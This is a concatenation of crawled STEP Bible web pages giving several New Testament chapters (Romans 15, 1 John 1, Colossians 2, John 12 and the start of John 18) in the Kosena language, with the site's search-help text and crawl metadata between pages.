mayánaundayavena Áánútu siꞋmákaimba póna íma sááꞋa kwégaisaꞋa asiramái maanáúváívímbá simátimune. ÁánútuntaveꞋa séꞋa maanóꞋónkáá-kwáásí ená kwaási owaná enamankó ená kwaási-iꞋa umátínkaraiye senaná Áánútu aamoí íníntaveꞋa kenáái áséi-kwasai kwésimatimune. 17 Ísu Káráísitiye tarúmai méꞋa Áánútuna mayáí kwémayaundayaveꞋa aamoí kwéune. 18 Ísu Káráísiti asirayán-ímáyáá símísaꞋa óꞋonkaa-kwaasi Áánútun-aaiyavesa áraire sénááontaveꞋa mayáí miwívímbá mairáunda mináímbá íma sááꞋa káínaꞋa póꞋa simátíménda ísáaro. aaí kwésimatimeꞋa mayáí kwémayaunda 19 Áánútun-amanko asirayámbá kwésimisaꞋa óꞋon-oꞋom-bayai ímo awánaraam-bayai maimaéꞋa kuráumne. Yérúsaremu-naopakemba óꞋon-oꞋon-daopaꞋa kwénaaeꞋa Káráísitin-aai áséi-kwasai simátímaꞋmaeꞋa iyéꞋa Írírikamu-maravaꞋa kuráumne. 20 kemá séꞋa naaóꞋ-naoꞋa Ísu Káráísitin-aaimo ímo ísaraan-daopaꞋa áséi-kwasai kosimátimenae. kosimátímakaan-kwaasivimba íma kosimátimenaumpo óꞋon-daopimpaꞋa kosimátímaꞋmaeꞋa naaónaumne séꞋa mináséí-kwásáí ímo ísaraan-kwaasivimba kosimátímakaumne. 21 naaóváꞋá Áánútun-aai aúváívimba mirán-áímbá agaimaréna séna\nímo simátíméwasamo ísaraawai naaémba Áánútuna aambá awánanaaowe. ímo ísaraawai naaémba\nÁánútun-aai isánááowe\nagaimaréna siráimba póꞋa Ísu Káráísitin-aaimo ímo ísaraan-kwaasivimba kosimátímakaumne.\nÁrómáa-naopaꞋa kónáe siráin-kwasai.22 ímo ísaraan-kwaasi áséi-kwasai kwésimatimundaraꞋa kentópaꞋa kónáe séꞋa úmae iyúnda simátimunda-mayaigo sáwívakaꞋa kembá tátokaiye. 23 kentópaꞋa kónáe séꞋa úmae iyúnda sáwívar-ima maisuwéꞋa íma kanaán-umai kwégundayaveꞋa ívéꞋa maandáópímpáꞋá kesí mayáí ánásasuweꞋa 24 kentópaꞋa kónáe-imayaa kwéune. Sépéni-maravare séꞋa kwégweꞋa kentí naaópaꞋa kotuwánéꞋa komáyáanaꞋa súwaꞋnaa íyaꞋa Sépéni-maravaꞋa kónaumne. 25 aivaꞋá Yérúsaremu-naopaꞋa Áánútuna kwaási kotúwaꞋnaa ónaumne. 26 Áánútuna kwaási Másétóniyaa-maravakewaiye Ákáyaa-maravakewaiye sésa ayawaí taisasá Áánútuna kwaási Yérúsaremu-naopakewai toómbá íma makáawai túwaꞋnaa ónáe sésa miwítí óntamba torupámakaamba pósa simíyaꞋa maimaéꞋa YérúsaremuvaꞋa kwéꞋa mátimenaumne. 27 miwítí imáyáavinkembo mirámó kwéomba mindá kaweꞋán-iye. Yútaa-kwaasi óꞋonkaa-kwaasi Ísu Káráísitin-aai kosimátímakaamba pósa imáyáa ésa miwítí óntamba Yútaa-kwaasi toómbá íma makáawai kwétimemba mindá kaweꞋá kwéovo mirán-oro. 28 torupámakaan-ontamba maimaéꞋa kweémeꞋa amáparawai mátímatuweꞋa Sépéni-maravare séꞋa kwégweꞋa kentí naaóꞋa kóméꞋa minkákémbá Sépéni-maravaꞋa koónaumne. 29 kentí naaópaꞋa komáyáanana Ísu Káráísiti ávááraumai kaweꞋá umátinkaniye-imayaa kwéune.\n30 kesí kwaásiyono. kentáásí Ísóigo Ísu KáráísitintaveꞋa imáyáa éꞋa Áánútun-amanko arumbá kwéumasinkaintaveꞋa imáyáa éꞋa asiramái simátimeꞋa séꞋa ÁánútumpaꞋa námúnaa kwésumpo keinárawakwaraꞋa súwaꞋnaa umai asiramái námúnaa seró kwésune. 31 Yérúsaremu-naopaꞋa kónaunda Yútiyaa-ayampaken-Yutaa-kwaasi Ísu Káráísitin-aaiyavesa íma áraire kwésewai sínkamovo séꞋa súwaꞋnaa umai námúnaa seró. miváꞋá Áánútuna kwaási máyáawai túwaꞋnaa on-óntántávésa aamoí ónááontaveꞋa námúnaa seró. 32 mimbáyáí ánásasuwaanana Áánútumo owémó sínaꞋo éꞋa aamoí éꞋa kentópaꞋa kweémeꞋa kotuwánéꞋa aúnáiꞋa umái ménaumne. 33 Áánútu paru kwéumasinkaiwaiya keinárawate máyáiye séꞋa námúnaa kwésunda árair-aimban-iye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rom.15","date":"2018-04-19T23:28:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937074.8\/warc\/CC-MAIN-20180419223925-20180420003925-00263.warc.gz","language":"kze","language_score":1.0000030994,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000030994415283}","num_words":781,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 John 1\nÁánútuna imáyáama agaráásínkáiwaina kwaasái.1 Ísu Káráísiti Áánútuna imáyáa agaráásínkáiwaiyaama póna kwaási aúnáiꞋa umái maíꞋmaiꞋa ónááowaina ááinkoman-iye. mináíntávéꞋa maanáúváí agaimái kentópaꞋa tuwáúnana kwégwiye. ááinkaꞋa maramá íma kwáyonkaꞋa kwemá maémáimba marapáꞋá kuména keséya máyowata súranta awánamai kaweꞋá éta kwenáái iséta siyáándei aneꞋá tátokaundayaawe. 2 aúnáiꞋa umái maíꞋmaiꞋa ónááowaina ááinkoma avowánópaꞋa máyomba marapáꞋá kuména keséya máyowata awánareta póta mináímbá kwésimatimundayaawe. 3 kesáá Áánútuwe ááninko Ísu Káráísitiye tarúmaiya máyaumne. awánaraunda ísaraunda keinárawakwaraꞋa kwésimatimunda póta Áánútuwe ááninkowe tarúmaiya máyaundantemba keinárawaꞋa mirá ónááowe. 4 kentáásirumba kaweꞋá umái anómba umásinkanintaveꞋa maanáúváí agaimái kwétimune.\nÁánútu sámo kaiwáíná ááinkona kwaasái.5 Áánútu ááninko simásímakain-ainta simátimeta séta Áánútu sámo kaiwáíná ááimba póna túnín-tantaaꞋa kwempímbá íma kwáyáiye. 6 miráumai túnín-ayampaꞋa máyáamba Áánútuwe tarúmaiya máyaumne kwésewai kampaꞋá kwésesa árair-ainkona ááimpimba íma máyáawe. 7 ánivo Áánútu sámo kain-áyámpáꞋó máyáintemba miráumaimo sámo kain-áyámpáꞋó máyaundaya kwená kwaásiye tarúmaiya máyaumne. miráumai Áánútu ááninko Ísuma kentááyávéna imáyáa éna kumpuwúwana kwená naaegó kuména póna kentáásí sáwí-imayaa kwémaisiyuꞋmaenaya kwéiyiye. 8 kempíntá sáwí-imayaa íma kwáyáiye súndaya kesirunkómbá kampar-áíntá simá-uwáúnanaya Áánútuna árair-aimba kesirumpintá íma kwáyáiye. 9 avoraꞋó Áánútumpataamo sáwí-imayaayavetaamo simáménanayaamo éna Áánútu kentáásí sáwí-imayaa maisiyuwénaya amápa-sawi-imayaa arupí umásinkanintaawe. Áánútu kwemó siráiniꞋa mirá éna miráumai kaweré suꞋmai kwéena póna sáwí-imayaa maisiyuwénaya arupí kwéumasinkaiye. Áánútu séna amáparawai sáwíꞋa uráawe simbánivo kesáámá séta íma sáwíꞋa kwéune kwéseta Áánútu kampar-áímbá kwésiye súnana Áánútuna áséi-kwasaigo íma sirumpintá kwégwaiye.\n10\nKáráísiti amáparawaiya siráváyáin-kwasai.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=1Jo.1","date":"2018-04-21T09:58:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945111.79\/warc\/CC-MAIN-20180421090739-20180421110739-00276.warc.gz","language":"kze","language_score":0.9998230338,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9998230338096619}","num_words":371,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Colossians 21 maanáímbó simátíménda ísáaro. keinárawate Áréótísiyaa-naopakewaiye kembó ímo suwánaraawaiye anón-imayaa éꞋa námúnaa séꞋa kawerá umáíya máyaao-imayaa kwéeꞋa anóm-bayairaamba umái kwémaeꞋa 2 keinárawate miwísé asiramái ménaaontavena sirááíma kwétaiye. moórá-morawaivimba kentirumbá kwétimeꞋa mimbórá-ímáyáá kwéeꞋa Áánútun-aai ísámai kaweꞋá éꞋa íma kaer-ímáyáá éꞋa asiramái ménaaontavena sirááíma kwétaiye. Áánútumo aúpáꞋó makénamo agaráátínkaraimba mináínkóná ááimba ísu Káráísitima isaná mináínkómbó kaweꞋó umáímo isánááontavena sirááíma kwétaiye. 3 Áánútuna kawer-ímáyááwé kawer-áíné Káráísitimpimba kwáyáimba Káráísiti kweyáá imáyáaya símísata kwéisaumne. mináímbá isánááontaveꞋa kwésimatimune.\nÍsóigoemo tayarúmaimo méꞋa maíꞋmaiꞋa úmae íyóro-kwasai.4 évakarawai kampar-áímbá kentirumbá airaráíyaꞋa kawer-áímbán-iye séꞋa kwáráavo séꞋa mináímbá kwésimatimune. 5 keinárawate íma méꞋa ándávaꞋa némpaꞋa máyaundanivo keinárawataveꞋa imáyáa kwéune. Ísu Káráísitin-aaiyaveꞋo asiramáímo imáyáamo kwéeꞋo mimbórá-ímáyáámó kwéeꞋo máyáantaveꞋa keinárawataveꞋa imáyáa kwéunana sirunkó kaweꞋá kwéiye.\n6 mináímbá isánááontaveꞋa anóm-bayai mairáunda póꞋa Ísu Káráisitiye taméꞋa séꞋa kentáásí Ísóigoman-iye kwésemba póꞋa kwesé tayarúmaimo méꞋa maíꞋmaiꞋa úmae íyóro. 7 taaigó ánúꞋo maravímbó kuménamo taaimó tátoraisanamo asiramáímo kwáyáintemba Ísu Káráísiti keinárawate máyainaꞋa asiramái méꞋa kwenááiyaveꞋa áraire símae iyíyana kentirumpimbá anómba íníye. moóráwai áwíꞋa Épávarasi Ísu Káráísitin-aai simátimuwaꞋa iséꞋa asirayán-ímáyáá kwéeꞋa aamoí úmae íyóro.\n8 évakarawai kampar-áímbá simátimesa ááéraan-kwaasiti aambá kwarésa kwaántá-kwaasiti aambá kwarésa íma Ísu Káráísitin-aaivinkemban-ivo kwaásiti imáyáavinkemba úwoi-aimba pósa kampaꞋá simátiyuwesa tátoraavo kárákwiyoro. 9 Áánútuna asirayámbá amápaꞋa Káráísitimpimba kwáyáísana kwaási kunaúkáisaꞋa 10 kwesé tarúmai máyáawana asirayámbá tímísaꞋa minásíráyánkwáráꞋá kasenkuíꞋa umái máyáawe. kwemá kárákwiraawairare asirayánkwáráwáíráré amáparawairare kárákwiyena asirayámbá tímísaꞋa kasenkuíꞋa umái máyáamba póꞋa évakarawai kampaꞋá simásiyuwesa tátoraavo séꞋa kárákwiyoro.\n11 Yútaa-kwaasiya Áánútuna kwaásiya úne séta súraꞋa kárámaiya araaꞋéna kwéumpo keinárawaꞋa íma mirá kwéovo keinárawatavena Ísu Káráísiti maará uráiye. kentí sáwí-imayaao tátokaimpinkemba iyátinkena kwenaneꞋá méaraapatinkaimba póꞋa Áánútuna kwaásin-owe. 12 Ísu Káráísiti pukáisasa utámakaavo keinárawaꞋa nombó péráamba púwówasamo utámáráanteniꞋa kwéowe. Áánútu Káráísitimba pukáimpinkemba usásinankowaꞋa mindáyaveꞋa séꞋa áraiꞋa asirayámbá tokéna mirá uráiye séꞋa Káráísitiye tarúmai máyáantaveꞋa usásintínkáanteniꞋa kwéiye. 13 óꞋonkaa-kwaasi ombá sáwíꞋa kwéeꞋa sáwí-imayaayaveꞋo tirááíyaveꞋo kwéon-ambo kwakáantaveꞋa Áánútuna némpaꞋa máyómbanivo Áánútu Káráísitinte tarútinkena aúnáiꞋa umátínkaraiye. kesáá Áánútuna ámáámba íma ísámai kaweꞋá kwéowananaya kesáámó sáwíꞋo ówándaya aúváívimba agaimarówana kentáásí sáwí-meyamba kentáásópaꞋa íma tíníntavena Ísu Káráísiti taairaꞋá pukáimba póna kesáámó sáwíꞋo ówándayaawe sáwí-imayaawe Áánútu maisiyuwénaya Ísu Káráísitimbo pukáimpinkembo usásinankaraintemba usásisinkenaya aúnáiꞋa umásinkenaya kentáásí sáwí-imayaayavena íma imáyáa úmae kwéiyiye. 15 Ísu Káráísiti taairaꞋá pukáinkaꞋa Sáátáánigona asirayáné kwená kwayóꞋnárawati asirayáné maisuwéna usáyaaitaraimba ááiꞋo tiyésamo kwaásimo tínkankesamo tiyáántámbo taantembá Ísu Káráísiti miráumai amáparawai túrankaꞋa usáyaaitaraiye.\n16 Ísu Káráísitimo keinárawatavenawe séna uráintaveꞋa kampar-áímbá simásiyuwaavo séꞋa kárákwiyoro. évakarawai évaka-tomba aambá aunésa anón-kanaa aambá aunésa kwíyómbo tayain-kánáá aambá aunésa saavaatiráꞋá aambá aunésa mirán-tántááꞋá aambá áúnkaavo keinárawaꞋo mirán-tántáákómbó ímo kwaráíyasamo aaivimbó maitinkáíyamba íma ísáaro. 17 mintántááꞋá aánomo paárinin-tantaakona awaaméꞋa umái agaráátínkaraimba mintántáákóná ááimba Ísu Káráísitima éna áꞋa paáruraiye.\n18 évakarawai kampaꞋá sésa kwaási úwoisan-tantaaꞋan-iye sésa kwíyómpaken-kwayoꞋnarawati imáyáa mósá maréꞋa aamoí oró kampaꞋá kwésemba miwí táái íma ísáaro. miwí kaainkáámbó awánaan-aimba kwésimatimesa sésa mindáyaveta amáparawai usáyaaitaraumne kwésesa miwítí sáwí-imayaavinkemba kampar-ímáyáá kwéesa miwí túma maé kwéiyesa 19 Ísu Káráísiti kentááráꞋó kárákwiraiwaimba íma tátoraamba áúkaawe. aꞋnónkó amápar-auwawaakaꞋo kárákwiraisanamo ánúnkomo amápa-kuraꞋo tátokaisanamo anómbo intembá Káráísiti kwená kwaásiraꞋa kárákwimai tátokaisasa Áánútuna imáyáavinkemba anómba kwéovo minkámpá-kwáásí Káráísiti kentááráꞋó kárákwiraiwaimba íma tátoraamba áúkaawe. mindáyaveꞋa miwí táái íma ísáaro.\nKáráísitinte tarútinkena aúnáiꞋa umátínkarain-kwasai.20 Ísu Káráísitimo pukáintemba keinárawaꞋa kwemó uráinteniꞋo uráamba kwaántá-kwaasiti aambá kwégwarowana minánkó tátokompinkemba Káráísiti iyátínkaraiye. marapákén-kwáásí aambá áúmbakaan-tontavesa sésa íma néꞋa íma uwáꞋnamai awánéꞋa íma tátoꞋmai awánaaro kwésen-aimba nóra séra kwégwaraao. 22 mináímbá kwaásiti imáyáavinken-aimba marapákén-tántááꞋá póna nánááomba úwoi násuwanaaowe. 23 mirán-áímbá kwésesa kwíyómpaken-kwayoꞋnarawati imáyáa mósá marésa karuwaaꞋá kwéesa kampaꞋá sésa kwaási úwoisan-tantaaꞋan-iye sésa kentú-augwiyaamba toró sewasá évakarawai tuwánésa kampaꞋá sésa kawer-ímáyáágwáráwáín-owe sembánivo mirán-ámbá kwáráamba sáwí-imayaayavesamo tirááíyavesamo kwéomba íma kanaán-umai maisuwáínana ánásanivo úwoi kwaíkwaiꞋa íníye. mindáyaveꞋa íma kawer-ímáyáágwárá-kwáásín-owe seró.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Col.2","date":"2018-04-22T01:05:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945484.57\/warc\/CC-MAIN-20180422002521-20180422022521-00159.warc.gz","language":"kze","language_score":0.9999883175,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.999988317489624}","num_words":709,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"John 12\nMáríyaa Ísu aísamairaꞋa áséi-kwiyum-basawemba pékain-kwasai.1 tíyótaasa í-tánón-kánáámá sáwíyankaꞋa túwana avaꞋmoraé-kanaa úwoi kwáyowana Ísu Pétáni-naopaꞋa kwéna pukómpinkemba usásinankarowai áwíꞋa Árásárásina naaópaꞋa kúwasa 2 Ísuna toómbá agaimarówana Ísuwe Árásárásiye toómbó naíváꞋá máyóyana Mááta mintómbá maimái tímaꞋmaena kúwana 3 Máríyaa áséi-kwiyumba úm-basawemba anón-ontankakemba meéyámbakena Ísu aísamairaꞋa sáwívaꞋa atímarena kwenaꞋnóntáunei uwaúwana mimbásáwén-kwíyúnkó anónkaꞋa naaúmpaꞋa iyúwana 4 moóráwai áwíꞋa Yútási Isakéríóti séna nóra sénawa mimbásáwémbá ivátuwena anón-ontamba 300 kina mairéna ímo óísambo makáan-kwaasi taaín-timiyo séna mináímbó siráimba Ísuna kuntaruꞋó mayáníwaima séna 6 íma óísan-iyaain-kwaasiti imáyáa éna séna kwemá Ísuna kwaásiti óntankaꞋa kárákwirondaꞋa umóyándáꞋá póna minóntámpínkémbá mayánáe séna mináímbá súwana 7 Ísu séna minínímbá aúwéwana úwoi máíno. púwónanamo pésinkanintavena mirá kwéiye. 8 ímo óísambo máráán-kwaasi keséma maíꞋmaiꞋa kwéiyaꞋa túwaꞋnaa ónáe séꞋa túwaꞋnaa ónááombanivo kemá keséma marapáꞋá íma maíꞋmaiꞋa ónaumne Ísu siráiye.\nÁrásárásina ámááyu-aimba siráan-kwasai.9 súwasa Pétáni-naopaꞋa Ísu máyáiye sumbá sáwíva-kwaasi Yútaa-kwaasi isésa Árásárási pukówana usásinankarowainte kotuwánanae sésa kuráa. 10 Árásárásimba usásinankarontavesa pósa Yútaa-kwaasima miwítí anón-kwaasi tiyuwésa Áánútunopakemba kunkáiwainopata kónáe sésa suntaváí mono-káwáá-kwáásí Árásárásina ámááyu-ainkwaraꞋa siráawe.\nÍsu Yérúsaremu-naopaꞋa kuráin-kwasai.12 tíndauraamba áséi-masawemba pérankomba póna ívékaamba YérúsaremuvaꞋa Ísu kwétiyemo sumbá kwaásiyomba isésa 13 taayánáma ayáiresa aampakémbá kogwéairesa anónkar-anonkaꞋa sésa Ísóigo aiꞋmáráísana kunkáiwaimba Áánútu kaweꞋá kwéumankaiye. kwená Ísareri-kwaasiti kawáánáꞋán-iye kwenáwíꞋa mósá kwémaraumne suwaná 14 moórá-poima áwíꞋa tónkigo Ísumba ayááꞋmaena túmba 15 naaóváꞋá Áánútun-aai aúváívimba agaimaréna séna\n- Sáíyono-naopaken-kwaasi tááꞋa kaivó kentí kawáánáꞋá kwétiye. naanté-tónkígó ayááꞋmaena kwétiye\nKíríki-ayampaken-kwaasi Ísumba awánanae siráan-kwasai.20 Yérúsaremu-naopaꞋa monor-áímbá isánáe sésa Yútaa-kwaasi kuwasá Kíríki-kwaasiye kwésa 21 Vírípima Káríri-ayampaꞋa Pétésáítaa-naopaken-kwaasigonopaꞋa tésa sésa Ísumba awánanaeta túne suwaná 22 Vírípima Éndarumba kosimái áíꞋmaesarai Ísumba kosimámúyana 23 Ísu séna kemá kwaási úrandaꞋa kumpaáruraundawaimba póna kesúwíko anómbo índayavena ívéꞋa kwévaariye. 24 áraiꞋa simátimeꞋa séꞋa ánáyumbo úwoimo kwaíndamo éna íma arambá iyánívo ayumbá uꞋmáráawana aáyánkarena áruma kwiréna sáwívar-aramba imái ávu káníye. 25 mirámó ontembá tirááímo táíndaiꞋo ésa íma kaweꞋá umái ménaaovo maambárárákén-ímáyáámó tuwáíyawai aúnáiꞋa umái maíꞋmaiꞋa ónááowe. 26 kentávésa ená mayáímá mayánáe síyawai kesínaaemba kwáráaro. mirámó íyawai kesé ménaaowe. kesí mayáímó mayáíyawaima kesivo kentúwíꞋa mósá maráníye Ísu siráiye.\nÍsu kwemó puwúntavena siráin-kwasai.27 Ísu simásuwena séna kesirunkómá umbaiyé taimbá póꞋa nóra sénaumno. kesivoó maanúmbáí-yántááꞋó kesópaꞋo tínímba maisiyuwaaó íma mirá sénaumpo kemá mindáyaveꞋa kunkáumne. 28 kesivoó enáwíko anómba íníye súwana kwíyómpakemba aaí séna áꞋa kesúwíꞋa anómba uráunda póꞋa moórágwaraꞋa ónaumne súwasa 29 máyón-kwaasiyomba isésa évakarawai sésa kwíyónaai siyé suwasá évakarawai sésa Áánútuna kwayóꞋnáꞋá kwíyómpakewai aaí kwésimamiye suwaná 30 Ísu simátimena séna mináímbó isáámba íma kembá kwésuwaꞋnaa-ivo kembá kwétuwaꞋnaa-iye. 31 marapá-kwáásímó aaivimbó maitinkáín-kánáámá kwétiye. marapá-kwáásítí sáwí-kawaanaꞋa kwatiyuwánín-kanaama kwétiye. 32 taairaꞋá mói sinkánááon-tawaima amáparawaima imáyáama tíménasa kesópata ténááowe Ísu séna 33 mirámó siráimba taairaꞋá inkamíyana puwíníntavena súwasa 34 kwaásiyomba isésa sésa Áánútun-aai aúváívimba agaimaréna séna Áánútumo usásinankaiwaima aasiyaasí maíꞋmaiꞋa íníye siráivo emó sénda kemá kwaási úrandaꞋa kumpaáruraundawaimba pósa taairaꞋá mói sínkamiyaꞋa puwónaumne sémpo emá nááwa se ewá seénó suwaná 35 Ísu séna kwaási sáma kamátinkainaꞋa úndanivo sáwíyankaꞋa kesé ménaumne. kwaásimo túnín-ayampaꞋo kombá náávaraꞋi kwégowasa pósa íma kwéawanaawe. túnín-tantaako kesópaꞋa tivó séꞋa sáma kamátinkaipaꞋa máéro. 36 sáma kaimbá póꞋa kentávéꞋa séꞋa kentáásí ságayandaꞋa óne sembá póꞋa ságayanko árááꞋmaaꞋa aúꞋmái ménaaowe Ísu siráiye.\nYútaa-anon-kwaasi Ísuntavesa íma áraire siráan-kwasai.Ísu simásuwena tiyuwéna aúpáꞋá méraiye. 37 túrankaꞋa kaweꞋ-máyáí íma awánaraan-awaameꞋa uráimbanivo kwentávésa íma áraiꞋa Áánútunopakemba kunkáiye siráawe. 38 mindáyavena naaóváꞋá Áánútun-aai simátímakowaima áwíꞋa Áísáya siráin-aimba áraiꞋa súmba\n- Ísóigoo kawer-áímbá kosimátimunasaya mináíntávésa íma áraire kwésewe. ená asirayámbá agaráátinkaandamanivo íma kwéawanaawe\n40\n- Áánútuma túramba kavítúwáísasa\n- pósa túramba íma kwéawanaawe.\n- Áánútuma tááꞋa kaúntinkaisasa\n- pósa íma kwéisaawe.\n- Áánútumo simbá mirá uráunda\n- pósa kesópaꞋa íma tíyaꞋa sáwí-imayaa\n- maitiyuwéꞋa kaweꞋá umátinkanaumne\n42 Yútaa-anon-kwaasi évakaꞋa Ísuntavesa áraiꞋa Áánútunopakemba kunkáiye sésa ámáán-kawaa-kwaasi monoꞋ-náúmpáꞋá íyóvo sésa aambá áúmbaraavainiye sésa íma avoraꞋá sumbá 43 Áánútuma kesúwíꞋa mósá maráínkwáe-imayaama ímanovo kwaási évakarawai kesúwíta mósá maráígwáe-imayaama ésa mirán-ímáyáámá umbá pósa Ísuntavesa áraire íma avoraꞋá siráawe.\nÍsu simátimuwasa taaínkaaꞋa uráan-kwasai.44 íma avoraꞋá suwaná Ísu anónkaꞋa séna kesááiyavesa áraire sésa kenkáꞋá agevamái máyáawai íma kentáváíyé suꞋmai kwésevo siꞋmákaiwaintavaigwaraꞋa áraire kwésewe. 45 kesí ááimbo suwánaawaimo ombá íma kené suꞋmai kwésuwanaavo siꞋmákaiwainkwaraꞋa kwéawanaawe. 46 marapáꞋó kumúnda kwaási sáma kamátinkainaꞋa únda pósa kenkáꞋá agevamái máyáawai íma túnín-ayampaꞋa ménaaowe. 47 kesááima ísámai íma kaweꞋá kwéowai aaivimbó maitinkáima íma kemá úne. marapá-kwáásí íma aaivimbá maitínkáandayaveꞋa kumúndanivo sáwíꞋo umáímo máyáampinkemba kawer-ámpáꞋá métinkanaeꞋa kunkáumne. 48 naaén-kanaaraꞋa kesáái isésa tínaaemba umásinkaiyawai sésa kawer-áímbá sínaaemba umámakaundaniye sénááowe. 49 íma kesí imáyáavinkemba súnda póꞋa kesivo siꞋmákaiwaima simásímakain-aimba súnda póꞋa naaén-kanaama tínasa sésa kawer-áímbá sínaaemba umámakaunda ímo oráámbá uráundaniye sénááowe. 50 kesivon-ááima aúnáiꞋa umái maíꞋmaiꞋa ónááon-aimban-iye. súnda-aimba kesivo simásímakain-aimba kwésimatimune Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.12","date":"2018-04-25T05:08:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947693.49\/warc\/CC-MAIN-20180425041916-20180425061916-00177.warc.gz","language":"kze","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000003576278687}","num_words":831,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"John 18\nÍsumba tátokaan-kwasai.1 Ísu simásuwena kwená kwayó-kwáásíyé Kítáróni-nomba kóaatesa taai-kanáágúnévímbá komáyówana 2 Ísuwe kwená kwayó-kwáásíyé mintáí-kánáágúnévímpáꞋá kóyo untavéna Yútási Ísuna kuntaru-kwáásí mintáí-kánáágúnéváꞋá awánéna 3 miváꞋá kúmba ámáán-kawaa-kwaasiye mono-káwáá-kwáásíyé i-kwáásígwárá monoꞋ-nánkár-í-kwáásígwáráꞋá tiꞋmárówana Yútási tíꞋmaena taánasatagwara ánáyatankwaraꞋa maimaésa oómbá toꞋmaésa mintáí-kánáágúnéváꞋá kumbá 4 Ísu kwenópaꞋo tínín-tantaakomba awánéna kwená kwaásivinkemba usásinena miwí túrampaꞋa koména tísaa ena séna nááwana avakáá-íya kwéoo súwasa 5 Ísu Násáretivakewaintaveta kwéavakaa-une suwaná miwántávéꞋo sembá kemá úne súwana Yútási Ísuna 